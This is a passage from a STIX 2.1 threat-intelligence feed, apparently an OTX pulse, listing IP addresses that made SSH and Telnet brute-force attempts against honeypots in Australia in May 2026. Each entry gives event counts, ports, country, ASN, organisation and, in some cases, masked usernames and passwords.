      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 271971. Organisation(s): CABLE SATELITE S.DE R.L. DE C.V..",
      "id": "indicator--437e51e2-a837-414a-a5fc-e6d5fa7d4ccd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.83.116.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 271971. Organisation(s): CABLE SATELITE S.DE R.L. DE C.V..",
      "id": "indicator--971bb667-e5e4-4851-8ad2-3ed58ac11194",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.83.116.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 271971. Organisation(s): CABLE SATELITE S.DE R.L. DE C.V..",
      "id": "indicator--65f4b78f-597d-42e6-886d-b6368f06d00e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.83.116.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 271971. Organisation(s): CABLE SATELITE S.DE R.L. DE C.V..",
      "id": "indicator--2b49ec9c-c3a4-4620-8299-3cae81368f67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.83.116.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 47583. Organisation(s): Hostinger International Limited. Usernames observed (masked): r**t. Passwords observed (masked): 2***********h.",
      "id": "indicator--b3980ca2-c6ba-4031-ad3a-0143662603c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.127.165.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 265594. Organisation(s): Television Internacional, S.A. de C.V..",
      "id": "indicator--85858b69-aa0a-42b8-8c74-59cca79e83d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.218.68.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 4230. Organisation(s): CLARO S.A..",
      "id": "indicator--7f31e88d-8edf-4ea9-bf3b-43d072ffa698",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.208.237.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 174. Organisation(s): Cogent Communications, LLC.",
      "id": "indicator--1f2ec86d-2a36-4b71-8039-33daaf4da5eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.247.76.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 198589. Organisation(s): Al-Jazeera Al-Arabiya Company for Communication and Internet LTD.",
      "id": "indicator--bb7fc9a6-e69c-4609-a1b8-ff63e2a11d0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.62.139.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5607. Organisation(s): Sky UK Limited.",
      "id": "indicator--9c71295c-7fc4-4de5-8009-26fb27b3e2db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.9.89.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u..",
      "id": "indicator--7cd0b06f-cf6c-4de0-b779-2cae4636482b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.123.64.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, ***, g****e. Passwords observed (masked): 3******t, a***n, g****e.",
      "id": "indicator--0cc610b9-b069-47e9-a2e4-cf49d86e7539",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.217.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T22:15:10.000Z",
      "valid_until": "2026-06-25T22:15:08.000Z"
    },
    {
      "created": "2026-05-24T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 479. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, t**t, s*****t, u**r. Passwords observed (masked): a***n, 1**4, p******d, 1***5, a******3.",
      "id": "indicator--e22e1385-76e4-45b0-ac1f-3ccebf3714f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.99.173.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T22:15:10.000Z",
      "valid_until": "2026-06-25T22:15:08.000Z"
    },
    {
      "created": "2026-05-24T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, c***d, 3**********4, a**x, c**l. Passwords observed (masked): 1***5, 3***********4, 3**********4, L*******6, W*********7.",
      "id": "indicator--c3111d76-cac0-4d67-b59e-cda0663a47da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.245.59.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T22:15:10.000Z",
      "valid_until": "2026-06-25T22:15:08.000Z"
    },
    {
      "created": "2026-05-24T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 62. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BW. ASN(s): 14988. Organisation(s): BTC-GATE1. Usernames observed (masked): r**t, 3**********4, t*****g, ***. Passwords observed (masked): 1**4, 1**********#, 3***********4, 3**********4, L*******6.",
      "id": "indicator--9b50c1fd-db78-4128-b3d8-1cc32771ce56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.167.228.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T22:15:10.000Z",
      "valid_until": "2026-06-25T22:15:08.000Z"
    },
    {
      "created": "2026-05-24T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 52967. Organisation(s): NT Brasil Tecnologia Ltda. ME. Usernames observed (masked): r**t, 3**********4, c***d, t*****g, a**x. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1**4.",
      "id": "indicator--8d48304b-04b0-42db-ab7c-98b4361a64d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.36.214.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T22:15:10.000Z",
      "valid_until": "2026-06-25T22:15:08.000Z"
    },
    {
      "created": "2026-05-24T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 9129. Organisation(s): KE-NET2000.",
      "id": "indicator--6e46050e-e7ee-4732-84bf-d1d5986ea9b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.199.144.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T22:15:10.000Z",
      "valid_until": "2026-06-25T22:15:08.000Z"
    },
    {
      "created": "2026-05-24T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267345. Organisation(s): BOM JESUS NET LTDA.",
      "id": "indicator--75b1bb54-4743-4e19-82a1-fd7b45a08cdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.234.81.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T22:15:10.000Z",
      "valid_until": "2026-06-25T22:15:08.000Z"
    },
    {
      "created": "2026-05-24T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 48612. Organisation(s): MTS PJSC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, f******************@.",
      "id": "indicator--e0d3f2e2-3338-43ae-aafe-a79f23e784dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.185.75.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T22:15:10.000Z",
      "valid_until": "2026-06-25T22:15:08.000Z"
    },
    {
      "created": "2026-05-24T23:15:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--8c7a3b32-f379-4abf-9a83-b94be34d21d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T23:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.209.76.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T23:15:43.000Z",
      "valid_until": "2026-06-25T23:15:08.000Z"
    },
    {
      "created": "2026-05-24T23:15:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--31271d75-576b-4525-8578-ac6aedf77f4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T23:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '156.67.31.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T23:15:43.000Z",
      "valid_until": "2026-06-25T23:15:08.000Z"
    },
    {
      "created": "2026-05-24T23:15:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 266327. Organisation(s): NCS-Fibra New Central Solutions. Usernames observed (masked): c***d, 3**********4. Passwords observed (masked): 3***********4, 3**********4, W*********7.",
      "id": "indicator--2906a7e9-b613-49ee-8f57-6c62e6e282d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T23:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.238.160.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T23:15:43.000Z",
      "valid_until": "2026-06-25T23:15:08.000Z"
    },
    {
      "created": "2026-05-24T23:15:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 394684. Organisation(s): GOLD DATA USA INC.",
      "id": "indicator--4a23d7ae-9c39-43ad-a1b5-1dd584b5dbcf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T23:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.52.100.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T23:15:43.000Z",
      "valid_until": "2026-06-25T23:15:08.000Z"
    },
    {
      "created": "2026-05-24T23:15:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--4573eb6d-4897-48a8-a88a-436106ee9a3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T23:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T23:15:43.000Z",
      "valid_until": "2026-06-25T23:15:08.000Z"
    },
    {
      "created": "2026-05-24T23:15:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17917. Organisation(s): Quadrant Televentures Limited.",
      "id": "indicator--090e46a7-6e26-4431-b1e4-021d1291241c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T23:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.134.220.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T23:15:43.000Z",
      "valid_until": "2026-06-25T23:15:08.000Z"
    },
    {
      "created": "2026-05-24T23:15:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 3549. Organisation(s): Level 3 Parent, LLC.",
      "id": "indicator--59a7e499-2498-481b-9c52-ba3014d0cd83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T23:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '204.199.89.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T23:15:43.000Z",
      "valid_until": "2026-06-25T23:15:08.000Z"
    },
    {
      "created": "2026-05-24T23:15:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: JP. ASN(s): 2527. Organisation(s): Sony Network Communications Inc..",
      "id": "indicator--59966426-89dd-4853-9985-17ffc0782415",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T23:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '210.156.161.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T23:15:43.000Z",
      "valid_until": "2026-06-25T23:15:08.000Z"
    },
    {
      "created": "2026-05-24T23:15:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL.",
      "id": "indicator--1a3e7d37-d536-4624-8679-dfad30ddb6a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T23:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T23:15:43.000Z",
      "valid_until": "2026-06-25T23:15:08.000Z"
    },
    {
      "created": "2026-05-24T23:15:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 47524. Organisation(s): Turksat Uydu Haberlesme Kablo TV ve Isletme A.S..",
      "id": "indicator--59385267-fd08-41d4-ae75-74f327e950cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T23:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.197.245.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T23:15:43.000Z",
      "valid_until": "2026-06-25T23:15:08.000Z"
    },
    {
      "created": "2026-05-24T23:15:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7393. Organisation(s): CYBERCON, INC.. Usernames observed (masked): a***n. Passwords observed (masked): 1**1.",
      "id": "indicator--974bc4b6-8b8f-43d9-8128-ee3057d5338f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T23:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.154.107.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T23:15:43.000Z",
      "valid_until": "2026-06-25T23:15:08.000Z"
    },
    {
      "created": "2026-05-24T23:15:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 21499. Organisation(s): Host Europe GmbH. Usernames observed (masked): c***d, 3**********4. Passwords observed (masked): 3***********4, 3**********4, W*********7.",
      "id": "indicator--cc5be50e-26f4-483e-bb50-32f2ebc6d405",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T23:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.205.57.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T23:15:43.000Z",
      "valid_until": "2026-06-25T23:15:08.000Z"
    },
    {
      "created": "2026-05-25T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 7418. Organisation(s): TELEFONICA CHILE S.A..",
      "id": "indicator--9835cf39-507a-43fa-aed9-b6476fc6f462",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.172.203.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:15:11.000Z",
      "valid_until": "2026-06-26T00:15:08.000Z"
    },
    {
      "created": "2026-05-25T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--31510173-f6dc-43c6-af7b-128cd9360c9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.164.223.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:15:11.000Z",
      "valid_until": "2026-06-26T00:15:08.000Z"
    },
    {
      "created": "2026-05-25T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d8c66fdd-0f20-4046-8981-4632f771a72a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.134.146.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:15:11.000Z",
      "valid_until": "2026-06-26T00:15:08.000Z"
    },
    {
      "created": "2026-05-25T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 22884. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV.",
      "id": "indicator--c42825a3-4ddd-40e2-82c9-51616b136c56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.188.15.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:15:11.000Z",
      "valid_until": "2026-06-26T00:15:08.000Z"
    },
    {
      "created": "2026-05-25T00:15:11.000Z",
